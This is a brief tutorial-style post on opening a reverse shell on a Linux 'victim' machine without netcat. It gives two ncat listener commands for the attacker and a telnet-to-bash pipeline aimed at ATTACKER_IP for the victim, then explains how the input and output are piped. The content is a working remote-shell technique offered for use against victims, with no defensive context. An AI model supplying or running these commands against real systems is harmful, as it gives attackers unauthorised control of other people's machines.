Gaining Shell without netcat

Gaining Shell without netcat

 

Gaining Shell without using netcat

Here’s a simple trick that uses the builtin tools of linux OS to gain shell from victim , when u don’t have netcat installed on victim computer.

Step : 1

On attacker machine

ncat -vlp 1234

And on second terminal

ncat -vlp 4321

Step : 2

Then on victim machine u need to execute

telnet ATTACKER_IP 1234 | /bin/bash | telnet ATTACKER_IP 4321

 

 

back

How this works:

The input from first telnet session is redirected to bash as input and the output from bash is redirected to another telnet session of port 4321